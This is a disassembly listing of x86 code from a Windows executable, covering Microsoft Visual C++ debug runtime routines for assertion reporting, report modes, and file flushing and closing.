push ecx
cmp dword ptr [ebp+8], 0
jl short loc_41AA20
cmp dword ptr [ebp+8], 3
jl short loc_41AA25
loc_41AA20: ; CODE XREF: ___:0041AA18j
or eax, 0FFFFFFFFh
jmp short loc_41AA63
; ---------------------------------------------------------------------------
loc_41AA25: ; CODE XREF: ___:0041AA1Ej
cmp dword ptr [ebp+0Ch], 0FFFFFFFFh
jnz short loc_41AA37
mov eax, [ebp+8]
mov eax, dword_443B8C[eax*4]
jmp short loc_41AA63
; ---------------------------------------------------------------------------
loc_41AA37: ; CODE XREF: ___:0041AA29j
mov ecx, [ebp+0Ch]
and ecx, 0FFFFFFF8h
test ecx, ecx
jz short loc_41AA46
or eax, 0FFFFFFFFh
jmp short loc_41AA63
; ---------------------------------------------------------------------------
loc_41AA46: ; CODE XREF: ___:0041AA3Fj
mov edx, [ebp+8]
mov eax, dword_443B8C[edx*4]
mov [ebp-4], eax
mov ecx, [ebp+8]
mov edx, [ebp+0Ch]
mov dword_443B8C[ecx*4], edx
mov eax, [ebp-4]
loc_41AA63: ; CODE XREF: ___:0041AA23j
; ___:0041AA35j ...
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword ptr [ebp+8], 0
jl short loc_41AA80
cmp dword ptr [ebp+8], 3
jl short loc_41AA87
loc_41AA80: ; CODE XREF: ___:0041AA78j
mov eax, 0FFFFFFFEh
jmp short loc_41AAEA
; ---------------------------------------------------------------------------
loc_41AA87: ; CODE XREF: ___:0041AA7Ej
cmp dword ptr [ebp+0Ch], 0FFFFFFFAh
jnz short loc_41AA99
mov eax, [ebp+8]
mov eax, dword_443B98[eax*4]
jmp short loc_41AAEA
; ---------------------------------------------------------------------------
loc_41AA99: ; CODE XREF: ___:0041AA8Bj
mov ecx, [ebp+8]
mov edx, dword_443B98[ecx*4]
mov [ebp-4], edx
cmp dword ptr [ebp+0Ch], 0FFFFFFFCh
jnz short loc_41AAC0
push 0FFFFFFF5h
nop
call near ptr 2860000h
mov ecx, [ebp+8]
mov dword_443B98[ecx*4], eax
jmp short loc_41AAE7
; ---------------------------------------------------------------------------
loc_41AAC0: ; CODE XREF: ___:0041AAAAj
cmp dword ptr [ebp+0Ch], 0FFFFFFFBh
jnz short loc_41AADA
push 0FFFFFFF4h
call near ptr 2860000h
nop
mov edx, [ebp+8]
mov dword_443B98[edx*4], eax
jmp short loc_41AAE7
; ---------------------------------------------------------------------------
loc_41AADA: ; CODE XREF: ___:0041AAC4j
mov eax, [ebp+8]
mov ecx, [ebp+0Ch]
mov dword_443B98[eax*4], ecx
loc_41AAE7: ; CODE XREF: ___:0041AABEj
; ___:0041AAD8j
mov eax, [ebp-4]
loc_41AAEA: ; CODE XREF: ___:0041AA85j
; ___:0041AA97j
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, dword_4DB7A4
mov [ebp-4], eax
mov ecx, [ebp+8]
mov dword_4DB7A4, ecx
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AB10 proc near ; CODE XREF: sub_414C60+24p
; sub_414CF0+2Cp ...
var_302C = dword ptr -302Ch
var_3028 = dword ptr -3028h
var_3024 = byte ptr -3024h
var_3010 = byte ptr -3010h
var_300C = dword ptr -300Ch
var_3008 = byte ptr -3008h
var_3007 = byte ptr -3007h
var_2008 = byte ptr -2008h
var_2007 = byte ptr -2007h
var_1008 = dword ptr -1008h
var_1004 = dword ptr -1004h
var_1000 = byte ptr -1000h
var_FFF = byte ptr -0FFFh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = byte ptr 1Ch
push ebp
mov ebp, esp
mov eax, 302Ch
call sub_417E20
push edi
mov [ebp+var_3008], 0
mov ecx, 3FFh
xor eax, eax
lea edi, [ebp+var_3007]
rep stosd
stosw
stosb
mov [ebp+var_2008], 0
mov ecx, 3FFh
xor eax, eax
lea edi, [ebp+var_2007]
rep stosd
stosw
stosb
mov [ebp+var_1000], 0
mov ecx, 3FFh
xor eax, eax
lea edi, [ebp+var_FFF]
rep stosd
stosw
stosb
lea eax, [ebp+arg_14]
mov [ebp+var_1004], eax
cmp [ebp+arg_0], 0
jl short loc_41AB7E
cmp [ebp+arg_0], 3
jl short loc_41AB86
loc_41AB7E: ; CODE XREF: sub_41AB10+66j
or eax, 0FFFFFFFFh
jmp loc_41AE9B
; ---------------------------------------------------------------------------
loc_41AB86: ; CODE XREF: sub_41AB10+6Cj
cmp [ebp+arg_0], 2
jnz loc_41AC30
push offset dword_443B88
nop
call near ptr 2840CCAh
test eax, eax
jle loc_41AC30
cmp dword_4DB128, 0
jnz short loc_41ABEE
push offset aUser32_dll_0 ; "user32.dll"
nop
call near ptr 2690610h
mov [ebp+var_300C], eax
cmp [ebp+var_300C], 0
jz short loc_41ABE6
push offset aWsprintfa ; "wsprintfA"
mov ecx, [ebp+var_300C]
push ecx
nop
call near ptr 26A0000h
mov dword_4DB128, eax
cmp dword_4DB128, 0
jnz short loc_41ABEE
loc_41ABE6: ; CODE XREF: sub_41AB10+B4j
or eax, 0FFFFFFFFh
jmp loc_41AE9B
; ---------------------------------------------------------------------------
loc_41ABEE: ; CODE XREF: sub_41AB10+9Aj
; sub_41AB10+D4j
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
push offset aSecondChanceAs ; "Second Chance Assertion Failed: File %s"...
lea ecx, [ebp+var_2008]
push ecx
call dword_4DB128
add esp, 10h
lea edx, [ebp+var_2008]
push edx
nop
call near ptr 28602BDh
push offset dword_443B88
call near ptr 2840C7Bh
nop
call sub_41AA00
or eax, 0FFFFFFFFh
jmp loc_41AE9B
; ---------------------------------------------------------------------------
loc_41AC30: ; CODE XREF: sub_41AB10+7Aj
; sub_41AB10+8Dj
cmp [ebp+arg_10], 0
jz short loc_41AC6D
mov eax, [ebp+var_1004]
push eax
mov ecx, [ebp+arg_10]
push ecx
push 0FEDh
lea edx, [ebp+var_1000]
push edx
call sub_4170D0
add esp, 10h
test eax, eax
jge short loc_41AC6D
push offset a_crtdbgreportS ; "_CrtDbgReport: String too long or IO Er"...
lea eax, [ebp+var_1000]
push eax
call sub_4184C0
add esp, 8
loc_41AC6D: ; CODE XREF: sub_41AB10+124j
; sub_41AB10+147j
cmp [ebp+arg_0], 2
jnz short loc_41ACA5
cmp [ebp+arg_10], 0
jz short loc_41AC85
mov [ebp+var_3028], offset aAssertionFaile ; "Assertion failed: "
jmp short loc_41AC8F
; ---------------------------------------------------------------------------
loc_41AC85: ; CODE XREF: sub_41AB10+167j
mov [ebp+var_3028], offset aAssertionFai_0 ; "Assertion failed!"
loc_41AC8F: ; CODE XREF: sub_41AB10+173j
mov ecx, [ebp+var_3028]
push ecx
lea edx, [ebp+var_3008]
push edx
call sub_4184C0
add esp, 8
loc_41ACA5: ; CODE XREF: sub_41AB10+161j
lea eax, [ebp+var_1000]
push eax
lea ecx, [ebp+var_3008]
push ecx
call sub_4184D0
add esp, 8
cmp [ebp+arg_0], 2
jnz short loc_41ACFA
mov edx, [ebp+arg_0]
mov eax, dword_443B8C[edx*4]
and eax, 1
test eax, eax
jz short loc_41ACE6
push offset asc_433D20 ; "\r"
lea ecx, [ebp+var_3008]
push ecx
call sub_4184D0
add esp, 8
loc_41ACE6: ; CODE XREF: sub_41AB10+1C0j
push offset asc_433D1C ; "\n"
lea edx, [ebp+var_3008]
push edx
call sub_4184D0
add esp, 8
loc_41ACFA: ; CODE XREF: sub_41AB10+1AFj
cmp [ebp+arg_4], 0
jz short loc_41AD42
lea eax, [ebp+var_3008]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
push offset aSDS ; "%s(%d) : %s"
push 1000h
lea eax, [ebp+var_2008]
push eax
call sub_4172D0
add esp, 18h
test eax, eax
jge short loc_41AD40
push offset a_crtdbgreportS ; "_CrtDbgReport: String too long or IO Er"...
lea ecx, [ebp+var_2008]
push ecx
call sub_4184C0
add esp, 8
loc_41AD40: ; CODE XREF: sub_41AB10+21Aj
jmp short loc_41AD58
; ---------------------------------------------------------------------------
loc_41AD42: ; CODE XREF: sub_41AB10+1EEj
lea edx, [ebp+var_3008]
push edx
lea eax, [ebp+var_2008]
push eax
call sub_4184C0
add esp, 8
loc_41AD58: ; CODE XREF: sub_41AB10:loc_41AD40j
cmp dword_4DB7A4, 0
jz short loc_41AD9C
lea ecx, [ebp+var_1008]
push ecx
lea edx, [ebp+var_2008]
push edx
mov eax, [ebp+arg_0]
push eax
call dword_4DB7A4
add esp, 0Ch
test eax, eax
jz short loc_41AD9C
cmp [ebp+arg_0], 2
jnz short loc_41AD91
push offset dword_443B88
nop
call near ptr 2840C7Bh
loc_41AD91: ; CODE XREF: sub_41AB10+274j
mov eax, [ebp+var_1008]
jmp loc_41AE9B
; ---------------------------------------------------------------------------
loc_41AD9C: ; CODE XREF: sub_41AB10+24Fj
; sub_41AB10+26Ej
mov ecx, [ebp+arg_0]
mov edx, dword_443B8C[ecx*4]
and edx, 1
test edx, edx
jz short loc_41ADEB
mov eax, [ebp+arg_0]
cmp dword_443B98[eax*4], 0FFFFFFFFh
jz short loc_41ADEB
push 0
lea ecx, [ebp+var_3010]
push ecx
lea edx, [ebp+var_2008]
push edx
call sub_414BE0
add esp, 4
push eax
lea eax, [ebp+var_2008]
push eax
mov ecx, [ebp+arg_0]
mov edx, dword_443B98[ecx*4]
push edx
call near ptr 2720000h
nop
loc_41ADEB: ; CODE XREF: sub_41AB10+29Bj
; sub_41AB10+2A8j
mov eax, [ebp+arg_0]
mov ecx, dword_443B8C[eax*4]
and ecx, 2
test ecx, ecx
jz short loc_41AE09
lea edx, [ebp+var_2008]
push edx
call near ptr 28602BDh
nop
loc_41AE09: ; CODE XREF: sub_41AB10+2EAj
mov eax, [ebp+arg_0]
mov ecx, dword_443B8C[eax*4]
and ecx, 4
test ecx, ecx
jz short loc_41AE88
cmp [ebp+arg_8], 0
jz short loc_41AE3D
push 0Ah
lea edx, [ebp+var_3024]
push edx
mov eax, [ebp+arg_8]
push eax
call sub_426D90
add esp, 0Ch
mov [ebp+var_302C], eax
jmp short loc_41AE47
; ---------------------------------------------------------------------------
loc_41AE3D: ; CODE XREF: sub_41AB10+30Ej
mov [ebp+var_302C], 0
loc_41AE47: ; CODE XREF: sub_41AB10+32Bj
lea ecx, [ebp+var_1000]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+var_302C]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_41AEA0
add esp, 14h
mov [ebp+var_1008], eax
cmp [ebp+arg_0], 2
jnz short loc_41AE80
push offset dword_443B88
nop
call near ptr 2840C7Bh
loc_41AE80: ; CODE XREF: sub_41AB10+363j
mov eax, [ebp+var_1008]
jmp short loc_41AE9B
; ---------------------------------------------------------------------------
loc_41AE88: ; CODE XREF: sub_41AB10+308j
cmp [ebp+arg_0], 2
jnz short loc_41AE99
push offset dword_443B88
nop
call near ptr 2840C7Bh
loc_41AE99: ; CODE XREF: sub_41AB10+37Cj
xor eax, eax
loc_41AE9B: ; CODE XREF: sub_41AB10+71j
; sub_41AB10+D9j ...
pop edi
mov esp, ebp
pop ebp
retn
sub_41AB10 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AEA0 proc near ; CODE XREF: sub_41AB10+351p
var_1138 = dword ptr -1138h
var_1134 = dword ptr -1134h
var_1130 = dword ptr -1130h
var_112C = dword ptr -112Ch
var_1128 = dword ptr -1128h
var_1124 = dword ptr -1124h
var_1120 = dword ptr -1120h
var_111C = dword ptr -111Ch
var_1118 = dword ptr -1118h
var_1114 = dword ptr -1114h
var_1110 = dword ptr -1110h
var_110C = byte ptr -110Ch
var_10C = dword ptr -10Ch
var_108 = byte ptr -108h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov eax, 1138h
call sub_417E20
loc_41AEAD: ; CODE XREF: sub_41AEA0+3Cj
cmp [ebp+arg_10], 0
jnz short loc_41AED8
push offset aSzusermessageN ; "szUserMessage != NULL"
push 0
push 1DAh
push offset aDbgrpt_c ; "dbgrpt.c"
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_41AED8
call sub_41AA00
loc_41AED8: ; CODE XREF: sub_41AEA0+11j
; sub_41AEA0+31j
xor eax, eax
test eax, eax
jnz short loc_41AEAD
push 104h
lea ecx, [ebp+var_108]
push ecx
push 0
nop
call near ptr 2680000h
test eax, eax
jnz short loc_41AF0A
push offset aProgramNameUnk ; "<program name unknown>"
lea edx, [ebp+var_108]
push edx
call sub_4184C0
add esp, 8
loc_41AF0A: ; CODE XREF: sub_41AEA0+54j
lea eax, [ebp+var_108]
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
push ecx
call sub_414BE0
add esp, 4
cmp eax, 40h
jbe short loc_41AF4D
mov edx, [ebp+var_4]
push edx
call sub_414BE0
add esp, 4
mov ecx, [ebp+var_4]
lea edx, [ecx+eax-40h]
mov [ebp+var_4], edx
push 3
push offset a___ ; "..."
mov eax, [ebp+var_4]
push eax
call sub_417770
add esp, 0Ch
loc_41AF4D: ; CODE XREF: sub_41AEA0+82j
mov ecx, [ebp+arg_C]
mov [ebp+var_1110], ecx
cmp [ebp+var_1110], 0
jz short loc_41AFA8
mov edx, [ebp+var_1110]
push edx
call sub_414BE0
add esp, 4
cmp eax, 40h
jbe short loc_41AFA8
mov eax, [ebp+var_1110]
push eax
call sub_414BE0
add esp, 4
mov ecx, [ebp+var_1110]
lea edx, [ecx+eax-40h]
mov [ebp+var_1110], edx
push 3
push offset a___ ; "..."
mov eax, [ebp+var_1110]
push eax
call sub_417770
add esp, 0Ch
loc_41AFA8: ; CODE XREF: sub_41AEA0+BDj
; sub_41AEA0+D1j
cmp [ebp+arg_0], 2
jnz short loc_41AFBA
mov [ebp+var_1114], offset aForInformation ; "\n\nFor information on how your program c"...
jmp short loc_41AFC4
; ---------------------------------------------------------------------------
loc_41AFBA: ; CODE XREF: sub_41AEA0+10Cj
mov [ebp+var_1114], offset dword_433E6C
loc_41AFC4: ; CODE XREF: sub_41AEA0+118j
mov ecx, [ebp+arg_10]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_41AFD9
mov eax, [ebp+arg_10]
mov [ebp+var_1118], eax
jmp short loc_41AFE3
; ---------------------------------------------------------------------------
loc_41AFD9: ; CODE XREF: sub_41AEA0+12Cj
mov [ebp+var_1118], offset dword_433E6C
loc_41AFE3: ; CODE XREF: sub_41AEA0+137j
mov ecx, [ebp+arg_10]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_41AFFF
cmp [ebp+arg_0], 2
jnz short loc_41AFFF
mov [ebp+var_111C], offset aExpression ; "Expression: "
jmp short loc_41B009
; ---------------------------------------------------------------------------
loc_41AFFF: ; CODE XREF: sub_41AEA0+14Bj
; sub_41AEA0+151j
mov [ebp+var_111C], offset dword_433E6C
loc_41B009: ; CODE XREF: sub_41AEA0+15Dj
mov eax, [ebp+arg_10]
movsx ecx, byte ptr [eax]
test ecx, ecx
jz short loc_41B01F
mov [ebp+var_1120], offset asc_433E58 ; "\n\n"
jmp short loc_41B029
; ---------------------------------------------------------------------------
loc_41B01F: ; CODE XREF: sub_41AEA0+171j
mov [ebp+var_1120], offset dword_433E6C
loc_41B029: ; CODE XREF: sub_41AEA0+17Dj
cmp [ebp+arg_8], 0
jz short loc_41B03A
mov edx, [ebp+arg_8]
mov [ebp+var_1124], edx
jmp short loc_41B044
; ---------------------------------------------------------------------------
loc_41B03A: ; CODE XREF: sub_41AEA0+18Dj
mov [ebp+var_1124], offset dword_433E6C
loc_41B044: ; CODE XREF: sub_41AEA0+198j
cmp [ebp+arg_8], 0
jz short loc_41B056
mov [ebp+var_1128], offset aLine ; "\nLine: "
jmp short loc_41B060
; ---------------------------------------------------------------------------
loc_41B056: ; CODE XREF: sub_41AEA0+1A8j
mov [ebp+var_1128], offset dword_433E6C
loc_41B060: ; CODE XREF: sub_41AEA0+1B4j
cmp [ebp+arg_4], 0
jz short loc_41B071
mov eax, [ebp+arg_4]
mov [ebp+var_112C], eax
jmp short loc_41B07B
; ---------------------------------------------------------------------------
loc_41B071: ; CODE XREF: sub_41AEA0+1C4j
mov [ebp+var_112C], offset dword_433E6C
loc_41B07B: ; CODE XREF: sub_41AEA0+1CFj
cmp [ebp+arg_4], 0
jz short loc_41B08D
mov [ebp+var_1130], offset aFile ; "\nFile: "
jmp short loc_41B097
; ---------------------------------------------------------------------------
loc_41B08D: ; CODE XREF: sub_41AEA0+1DFj
mov [ebp+var_1130], offset dword_433E6C
loc_41B097: ; CODE XREF: sub_41AEA0+1EBj
cmp [ebp+var_1110], 0
jz short loc_41B0AE
mov ecx, [ebp+var_1110]
mov [ebp+var_1134], ecx
jmp short loc_41B0B8
; ---------------------------------------------------------------------------
loc_41B0AE: ; CODE XREF: sub_41AEA0+1FEj
mov [ebp+var_1134], offset dword_433E6C
loc_41B0B8: ; CODE XREF: sub_41AEA0+20Cj
cmp [ebp+var_1110], 0
jz short loc_41B0CD
mov [ebp+var_1138], offset aModule ; "\nModule: "
jmp short loc_41B0D7
; ---------------------------------------------------------------------------
loc_41B0CD: ; CODE XREF: sub_41AEA0+21Fj
mov [ebp+var_1138], offset dword_433E6C
loc_41B0D7: ; CODE XREF: sub_41AEA0+22Bj
mov edx, [ebp+var_1114]
push edx
mov eax, [ebp+var_1118]
push eax
mov ecx, [ebp+var_111C]
push ecx
mov edx, [ebp+var_1120]
push edx
mov eax, [ebp+var_1124]
push eax
mov ecx, [ebp+var_1128]
push ecx
mov edx, [ebp+var_112C]
push edx
mov eax, [ebp+var_1130]
push eax
mov ecx, [ebp+var_1134]
push ecx
mov edx, [ebp+var_1138]
push edx
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+arg_0]
mov edx, off_443BA4[ecx*4]
push edx
push offset aDebugSProgramS ; "Debug %s!\n\nProgram: %s%s%s%s%s%s%s%s%s%"...
push 1000h
lea eax, [ebp+var_110C]
push eax
call sub_4172D0
add esp, 3Ch
test eax, eax
jge short loc_41B15D
push offset a_crtdbgreportS ; "_CrtDbgReport: String too long or IO Er"...
lea ecx, [ebp+var_110C]
push ecx
call sub_4184C0
add esp, 8
loc_41B15D: ; CODE XREF: sub_41AEA0+2A7j
push 12012h
push offset aMicrosoftVisua ; "Microsoft Visual C++ Debug Library"
lea edx, [ebp+var_110C]
push edx
call sub_427610
add esp, 0Ch
mov [ebp+var_10C], eax
cmp [ebp+var_10C], 3
jnz short loc_41B196
push 16h
call sub_427350
add esp, 4
push 3
call sub_417960
loc_41B196: ; CODE XREF: sub_41AEA0+2E3j
cmp [ebp+var_10C], 4
jnz short loc_41B1A6
mov eax, 1
jmp short loc_41B1A8
; ---------------------------------------------------------------------------
loc_41B1A6: ; CODE XREF: sub_41AEA0+2FDj
xor eax, eax
loc_41B1A8: ; CODE XREF: sub_41AEA0+304j
mov esp, ebp
pop ebp
retn
sub_41AEA0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B1B0 proc near ; CODE XREF: sub_414CF0+71p
; sub_428050+400p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp eax, dword_4DB560
jnb short loc_41B1E1
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4DB460[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 1
test ecx, ecx
jnz short loc_41B1FC
loc_41B1E1: ; CODE XREF: sub_41B1B0+Dj
call sub_420520
mov dword ptr [eax], 9
call sub_420530
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
jmp short loc_41B226
; ---------------------------------------------------------------------------
loc_41B1FC: ; CODE XREF: sub_41B1B0+2Fj
mov edx, [ebp+arg_0]
push edx
call sub_427BE0
add esp, 4
mov eax, [ebp+arg_0]
push eax
call sub_41B230
add esp, 4
mov [ebp+var_4], eax
mov ecx, [ebp+arg_0]
push ecx
call sub_427C70
add esp, 4
mov eax, [ebp+var_4]
loc_41B226: ; CODE XREF: sub_41B1B0+4Aj
mov esp, ebp
pop ebp
retn
sub_41B1B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B230 proc near ; CODE XREF: sub_41B1B0+5Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push esi
mov eax, [ebp+arg_0]
push eax
call sub_427A60
add esp, 4
cmp eax, 0FFFFFFFFh
jz short loc_41B283
cmp [ebp+arg_0], 1
jz short loc_41B252
cmp [ebp+arg_0], 2
jnz short loc_41B26C
loc_41B252: ; CODE XREF: sub_41B230+1Aj
push 1
call sub_427A60
add esp, 4
mov esi, eax
push 2
call sub_427A60
add esp, 4
cmp esi, eax
jz short loc_41B283
loc_41B26C: ; CODE XREF: sub_41B230+20j
mov ecx, [ebp+arg_0]
push ecx
call sub_427A60
add esp, 4
push eax
nop
call near ptr 267009Bh
test eax, eax
jz short loc_41B28C
loc_41B283: ; CODE XREF: sub_41B230+14j
; sub_41B230+3Aj
mov [ebp+var_4], 0
jmp short loc_41B295
; ---------------------------------------------------------------------------
loc_41B28C: ; CODE XREF: sub_41B230+51j
nop
call near ptr 26908EFh
mov [ebp+var_4], eax
loc_41B295: ; CODE XREF: sub_41B230+5Aj
mov edx, [ebp+arg_0]
push edx
call sub_427980
add esp, 4
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4DB460[eax*4]
mov byte ptr [edx+ecx+4], 0
cmp [ebp+var_4], 0
jz short loc_41B2D3
mov eax, [ebp+var_4]
push eax
call sub_420480
add esp, 4
or eax, 0FFFFFFFFh
jmp short loc_41B2D5
; ---------------------------------------------------------------------------
loc_41B2D3: ; CODE XREF: sub_41B230+90j
xor eax, eax
loc_41B2D5: ; CODE XREF: sub_41B230+A1j
pop esi
mov esp, ebp
pop ebp
retn
sub_41B230 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B2E0 proc near ; CODE XREF: sub_414CF0+62p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
loc_41B2E6: ; CODE XREF: sub_41B2E0+2Ej
cmp [ebp+arg_0], 0
jnz short loc_41B30A
push offset dword_4334A4
push 0
push 30h
push offset a_freebuf_c ; "_freebuf.c"
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_41B30A
int 3 ; Trap to Debugger
loc_41B30A: ; CODE XREF: sub_41B2E0+Aj
; sub_41B2E0+27j
xor eax, eax
test eax, eax
jnz short loc_41B2E6
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
and edx, 83h
test edx, edx
jz short loc_41B36D
mov eax, [ebp+arg_0]
mov ecx, [eax+0Ch]
and ecx, 8
test ecx, ecx
jz short loc_41B36D
push 2
mov edx, [ebp+arg_0]
mov eax, [edx+8]
push eax
call sub_415860
add esp, 8
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
and edx, 0FFFFFBF7h
mov eax, [ebp+arg_0]
mov [eax+0Ch], edx
mov ecx, [ebp+arg_0]
mov dword ptr [ecx], 0
mov edx, [ebp+arg_0]
mov dword ptr [edx+8], 0
mov eax, [ebp+arg_0]
mov dword ptr [eax+4], 0
loc_41B36D: ; CODE XREF: sub_41B2E0+3Ej
; sub_41B2E0+4Bj
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41B2E0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword ptr [ebp+8], 0
jnz short loc_41B396
push 0
call sub_41B4F0
add esp, 4
jmp short loc_41B3C0
; ---------------------------------------------------------------------------
loc_41B396: ; CODE XREF: ___:0041B388j
mov eax, [ebp+8]
push eax
call sub_418E90
add esp, 4
mov ecx, [ebp+8]
push ecx
call sub_41B3D0
add esp, 4
mov [ebp-4], eax
mov edx, [ebp+8]
push edx
call sub_418F00
add esp, 4
mov eax, [ebp-4]
loc_41B3C0: ; CODE XREF: ___:0041B394j
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B3D0 proc near ; CODE XREF: ___:0041B3A6p
; sub_41B4F0+B1p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push eax
call sub_41B420
add esp, 4
test eax, eax
jz short loc_41B3E8
or eax, 0FFFFFFFFh
jmp short loc_41B40F
; ---------------------------------------------------------------------------
loc_41B3E8: ; CODE XREF: sub_41B3D0+11j
mov ecx, [ebp+arg_0]
mov edx, [ecx+0Ch]
and edx, 4000h
test edx, edx
jz short loc_41B40D
mov eax, [ebp+arg_0]
mov ecx, [eax+10h]
push ecx
call sub_427CA0
add esp, 4
neg eax
sbb eax, eax
jmp short loc_41B40F
; ---------------------------------------------------------------------------
loc_41B40D: ; CODE XREF: sub_41B3D0+26j
xor eax, eax
loc_41B40F: ; CODE XREF: sub_41B3D0+16j
; sub_41B3D0+3Bj
pop ebp
retn
sub_41B3D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B420 proc near ; CODE XREF: sub_414CF0+53p
; sub_419FE0+A2p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_4], 0
mov eax, [ebp+arg_0]
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
mov edx, [ecx+0Ch]
and edx, 3
cmp edx, 2
jnz short loc_41B4BB
mov eax, [ebp+var_8]
mov ecx, [eax+0Ch]
and ecx, 108h
test ecx, ecx
jz short loc_41B4BB
mov edx, [ebp+var_8]
mov eax, [ebp+var_8]
mov ecx, [edx]
sub ecx, [eax+8]
mov [ebp+var_C], ecx
cmp [ebp+var_C], 0
jle short loc_41B4BB
mov edx, [ebp+var_C]
push edx
mov eax, [ebp+var_8]
mov ecx, [eax+8]
push ecx
mov edx, [ebp+var_8]
mov eax, [edx+10h]
push eax
call sub_425880
add esp, 0Ch
cmp eax, [ebp+var_C]
jnz short loc_41B4A5
mov ecx, [ebp+var_8]
mov edx, [ecx+0Ch]
and edx, 80h
test edx, edx
jz short loc_41B4A3
mov eax, [ebp+var_8]
mov ecx, [eax+0Ch]
and ecx, 0FFFFFFFDh
mov edx, [ebp+var_8]
mov [edx+0Ch], ecx
loc_41B4A3: ; CODE XREF: sub_41B420+72j
jmp short loc_41B4BB
; ---------------------------------------------------------------------------
loc_41B4A5: ; CODE XREF: sub_41B420+62j
mov eax, [ebp+var_8]
mov ecx, [eax+0Ch]
or ecx, 20h
mov edx, [ebp+var_8]
mov [edx+0Ch], ecx
mov [ebp+var_4], 0FFFFFFFFh
loc_41B4BB: ; CODE XREF: sub_41B420+1Fj
; sub_41B420+2Fj ...
mov eax, [ebp+var_8]
mov ecx, [ebp+var_8]
mov edx, [ecx+8]
mov [eax], edx
mov eax, [ebp+var_8]
mov dword ptr [eax+4], 0
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_41B420 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B4E0 proc near ; CODE XREF: sub_418E70+3p
push ebp
mov ebp, esp
push 1
call sub_41B4F0
add esp, 4
pop ebp
retn
sub_41B4E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B4F0 proc near ; CODE XREF: ___:0041B38Cp
; sub_41B4E0+5p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_4], 0
mov [ebp+var_8], 0
push 2
call sub_41B780
add esp, 4
mov [ebp+var_C], 0
jmp short loc_41B520
; ---------------------------------------------------------------------------
loc_41B517: ; CODE XREF: sub_41B4F0:loc_41B60Ej
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
loc_41B520: ; CODE XREF: sub_41B4F0+25j
mov ecx, [ebp+var_C]
cmp ecx, dword_4DC7C0
jge loc_41B613
mov edx, [ebp+var_C]
mov eax, dword_4DB7AC
cmp dword ptr [eax+edx*4], 0
jz loc_41B60E
mov ecx, [ebp+var_C]
mov edx, dword_4DB7AC
mov eax, [edx+ecx*4]
mov ecx, [eax+0Ch]
and ecx, 83h
test ecx, ecx
jz loc_41B60E
mov edx, [ebp+var_C]
mov eax, dword_4DB7AC
mov ecx, [eax+edx*4]
push ecx
mov edx, [ebp+var_C]
push edx
call sub_418ED0
add esp, 8
mov eax, [ebp+var_C]
mov ecx, dword_4DB7AC
mov edx, [ecx+eax*4]
mov eax, [edx+0Ch]
and eax, 83h
test eax, eax
jz short loc_41B5F5
cmp [ebp+arg_0], 1
jnz short loc_41B5B9
